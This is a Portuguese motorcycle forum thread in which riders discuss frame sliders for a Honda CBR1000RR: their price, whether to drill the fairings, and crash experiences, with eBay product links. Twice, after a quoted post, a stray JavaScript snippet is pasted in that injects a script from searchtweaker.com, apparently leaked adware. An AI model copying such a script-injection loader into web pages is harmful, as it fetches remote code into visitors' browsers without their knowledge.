Estive a pensar colocar cogumelos na minha moto, mas o preço que me deram foi de 200 paus...
Qual é a verdadeira vantagem??' alguém já caiu e testou os ditos cogumelos?
Vale o preço ou mais vale arriscar e gastar a massa nas pinturas e carenagens novas?...
Há uns que necessitam de furar a carenagem e outros são adaptados à tampa do motor...
Quais as diferenças?
Abraço
Kafka

tenho uns para a cbr 600rr mas penso serem universais, vendo por 50 euros

Kafka escreveu:

Estive a pensar colocar cogumelos na minha moto, mas o preço que me deram foi de 200 paus...

Dasss.. devem ser de ouro... os meus custaram 50€ e são da Evotech. Fala como Ferrugem a ver o que ele te arranja na JBS.

Kafka escreveu:

Qual é a verdadeira vantagem??' alguém já caiu e testou os ditos cogumelos?
Vale o preço ou mais vale arriscar e gastar a massa nas pinturas e carenagens novas?...

A meu ver a grande vantagem é as pequenas quedas ou deixar a mota tombar.
É só pensares no seguinte... Deixas cair a mota para o lado, pronto, já se foi uma carenagem, um espelho, peso, manete, e no caso da tua, se cair par ao lado direito, ficas com a ponteira toda torta... Faz as contas à reparação...
No meu caso já deixei cair a minha mota para o lado 4 vezes, e só nesta última é que tive danos, porque com o embalo a mota rodou por cima dos cogumelos e apanhou as carenagens.

Tens outra questão, que é quedas em andamento... Se for um espeta violento, não vão proteger grande coisa... a mota vai ficar toda torta à mesma,

Kafka escreveu:

Há uns que necessitam de furar a carenagem e outros são adaptados à tampa do motor...
Quais as diferenças?

Mete os de furar, protegem mais e melhor. Não fica tão bonito, mas se é para ficar bonito, não metas nenhuns e pronto... Mas depois... (ler acima)

salteados, com alho e bacon  

depende da queda.  se deixares tombar para o lado, os cogumelos evitam que danifiques apoios/carenagens.
se fores a andar, diria que a partir dos 50, faz mais estrago do que benificio. a partir dos 200, já deve ser indiferente, acho eu lol.
tudo depende do cogumelo e de onde fixa. se fixar no motor, é mais provavel partires o motor e o estrago é capaz de ser maior que se nao o tivesses.

a diferença é mesmo essa. ou furas a carenagem, ou metes no apoio do motor...

havia um topico dum gajo com uma 1000rr que lixou o motor com isso, vou ver se encontro

nuno.ripper escreveu:

ou furas a carenagem, ou metes no apoio do motor...

Só há duas opções... ou fura a carenagem... ou fura a carenagem!

estes é so protege mesmo o motor, nao a carenagem?

proteger protege e muito tanto nas quedas para o lado com em andamento

em andamento depende como a mota vá se for tipo aqueles estouros em que a mota ande as cambalhotas esquece que os cogumelos nao fazem nada agora se for uma queda em que a mota vá de rasto safa-te e muito mesmo

uma vez tive um acidente em que a mota andou de rasto bastante e as carenagens nao tiveram nada

Obrigado pelas dicas e em especial ao nosso administrador F1ct1c1ou5!!


Lá terei que violar (furar) a minha linda carenagem,

Paciência...
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

nuno.ripper escreveu:

tudo depende do cogumelo e de onde fixa. se fixar no motor, é mais provavel partires o motor e o estrago é capaz de ser maior que se nao o tivesses.

a diferença é mesmo essa. ou furas a carenagem, ou metes no apoio do motor...

Como dizes depende do cogumelo, mas eu não furei a carenagem, apenas arranjei uns com uma pequena extensão numa liga propria.
Aconselhei-me com varios mecanicos conceituados, que ao contrário do que já li, me disseram de caras que estes serviam exactamente para o que se propoem todos:
- proteger as carenagens em pequenas quedas, ou evitar toques nas mesmas quando se passa por exemplo em sitios apertados (carros, box com portas pequenas, etc etc)
As histórias de que empenam quadros, e que as extensões fragilizam  o proprio cogumelo e similares (segundo eles) e conversa de marketing, ou situação de quedas a velocidades elevadas e ai...   
Por ultimo há cogumelos de todos os preços ( e ai entra a carteira de cada um) mas tanto protejem uns de 15 euros como uns de 100, o que difere é a parte estética!!!!

Kafka escreveu:

Obrigado pelas dicas e em especial ao nosso administrador F1ct1c1ou5!!


Lá terei que violar (furar) a minha linda carenagem,

Paciência...

Só a titulo de curiosidade (não ligues á cor nem preço nem nada disso, é só para ficares com uma ideia) estes para o modelo de mota que indicas no perfil, ainda precisariam de furar as carenagens?

http://www.ebay.co.uk/itm/Silver-Engine-Stator-Cover-Frame-Sliders-for-Honda-CBR1000RR-2007-2011-/281170771350?pt=AU_Motorcycle_Parts_Accessories&hash=item4177157d96

http://www.ebay.co.uk/itm/Honda-2008-11-CBR1000RR-NO-CUT-Delrin-Frame-Sliders-CBR-1000RR-/280787485615?pt=AU_Motorcycle_Parts_Accessories&hash=item41603d03af

http://www.ebay.co.uk/itm/New-NO-CUT-BLACK-FRAME-SLIDERS-CBR-1000-RR-2008-2011-CBR1000RR-/331040014121?pt=Motorcycles_Parts_Accessories&hash=item4d1385bf29

Kafka escreveu:

Obrigado pelas dicas e em especial ao nosso administrador F1ct1c1ou5!!


Lá terei que violar (furar) a minha linda carenagem,

Paciência...
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

tenho uns em casa para furar a carenagem, nunca usados, qqr coisa P.M =)

pessoalmente comprei dos 2 tipos, de momento tenho de motor e embraiagem, nao apliquei os que falo acima porque nao queria furar carenagem, ja tive um deslize e a mota foi de rojo, com cogumelos tinha poupado as carenagens.
bem arrependido fiquei.

ja vi um caso onde o bacano decidiu meter cogumelos sem corte, ou seja, nao é preciso furar a carenagem, vem uma peça desde um apoio do motor para meter o cogumelo a jeito para que nao corte a carenagem, bem, o jovem espetou-se e ter aquilo ou nao ter nao adiantou, a mota foi a raspar de lado mas como aquilo era fraco ficou metido para dentro e foi a raspar nos plasticos.

protegem no geral, mas ja vi um jovem audaz num forum americano que deixou cair uma mota qqr para o lado e o cogumelo apertava num apoio, a pancada deve ter sido em seco, partiu o quadro lolol

Bem, os preços não me admiram, a minha vermelha (TL) tinha uns LSL e custaram mais que isso na altura.
Tinham as tais extensões para apertar no apoio. 
Caíu para o lado 2 vezes e posso dizer que estragos = 0. Além disso, como os patins de trás estavam abertos por esquecimento da minha ex, estes protegeram o escape desse lado... 

Já sabes, para carenagens frente leva com os cogumelos, para subquadro e escapes leva patins abertos!   

Os que curto mais para a nossa mota são os da Woodcraft...

ora ai esta um assunto k me interessa principalmente para este modelo em questao..

fict 200€ sao os da lsl com td completo, ora ve no site da jbs.. isto claro sem desconto.. sei pq ja tive a ver pois é os k gosto mais mas eses so protegem motor e embraiagem penso eu...  certo?

http://www.jbs-motos.pt/detproduto.asp?idcat=759&idprd=1376&idcomp=42&idenc=&idpage=1

Ferrugem anda ca elucidar melhor a malta...

em relacao aos de furar tmb continuo a n gostar dessa ideia, pois sao caras e se algum dia a vender, malta k n preceba se n quiser os cogumelos fica ali um buraco...o k fica uma cagada em 3 atos...

Ok, até podem ser os da LSL todos XPTO, mas eu continuo a achar caro. Mais uma vez, os meus custaram 50€ e fazem o trabalho deles (aliás, já fizeram muita vez), apenas não são tão bonitos, e aposto que protegem mais do que esses da LSL que tu meteste aí...

mete la o link.. pq os k tou a ver no ebay n me tao a oferecer grande confianca... 

ja agora.. k achas destes:

http://www.ebay.co.uk/itm/300835456470?ssPageName=STRK:MEWAX:IT&_trksid=p3984.m1438.l2649

Só o facto de dizerem "No-Cut"... Já me faz não gostar deles...

Os meus são estes: http://www.ebay.co.uk/itm/2008-2013-Honda-CBR1000RR-EvoTech-Defender-Frame-Sliders-NEW-/161048676738?pt=Motorcycles_Parts_Accessories&hash=item257f3fc982

pelo k vejo é so um furo para o parafuso correcto? e quem olhar nem reapara k ta furada pensa k vem de origem.. n gosto de ver para estrada é como meteste ai em cima.. uma rodela grande que vem desde traz e um furo do mesmo tamanho :/

F1CT1C10U5 escreveu:

Ok, até podem ser os da LSL todos XPTO, mas eu continuo a achar caro. Mais uma vez, os meus custaram 50€ e fazem o trabalho deles (aliás, já fizeram muita vez), apenas não são tão bonitos, e aposto que protegem mais do que esses da LSL que tu meteste aí...

Epa eu dei pelos meus LSL, preto fosco 118euros já com montagem, no entanto, até gosto mais do do F1CT sempre gostei mais sei que na altura estavam esgotados e era tambem 50 ou 60euros....como não sabia quanto tempo demorava comprei logo os LSL.

No entanto já fizeram o seu trabalho e pouparam me uma carenagem lateral quando estava praticamente parado, apenas um "kiko" no cogumelo...

Na minha opinião vale sempre a pena os cogumelos...

Eu continuo na minha, não gosto de ver isso nas motas, parecem umas torneiras..

Os meus são dos que não se fura, apertados no quadro, da puig, uns destes:

http://www.ebay.de/itm/Puig-Sturzpads-Honda-CBR-600-F-Sport-99-07-schw-Crashpads-Sturzpad-Crashpad-/181234942142?pt=DE_Motorradteile&hash=item2a3271c0be



Acho que em caso de queda, vai tudo ao ar na mesma, mas tenho só por descargo de consciência, para tipo uma queda parada mas ainda olho para aquilo com um ar desconfiado se o quadro não irá há vidinha dele num azar...

Agora dos para furar, até pode ser que protejam mais mas para mim não tem lógica nenhuma estar a esburacar as carenagens para não as estragar...

motorhead escreveu:

Agora dos para furar, até pode ser que protejam mais mas para mim não tem lógica nenhuma estar a esburacar as carenagens para não as estragar...

Até concordava com isso se os cogumelos protegessem só as carenagens...

Pois, só mesmo visto por aí, mas a minha sensação é de que numa queda mais a sério, com ou sem cogumelos vai tudo de vela...já naquela fase do mais dano menos dano...
Eu tenho os meus lá só mesmo na fé de que se algum dia parada a deixar cair, me proteja qq coisa nas carenagens (e cruzo os dedos para que com o impacto não me fecundem o quadro no sitio do aperto...)
Mas o melhor é nem a deixar cair, já uma vez dei cabo de uma perna a fazer força mesmo quase lá em baixo mas não caiu, até hoje não sei como a aguentei...deve ter sido a força do amor, hehehe

motorhead escreveu:

Pois, só mesmo visto por aí, mas a minha sensação é de que numa queda mais a sério, com ou sem cogumelos vai tudo de vela...já naquela fase do mais dano menos dano...

Isso é limpinho...

Os cogumelos podem salvar as carenagens da tua mota, como salvaram as da minha.


Como podes ver o cogumelo morreu, se bem que ainda existiram alguns danos, mas muito menos do que não existissem cogumelos. A lateral não sofreu quase nada, por isso, dizemos que deve ser o primeiro upgrade a comprar para a mota...antes de manetes e escapes.

exacto..concordo..so ainda n sei quais pois continuo a n querer furar as carenagens da minha, sao tao bonitas sem furar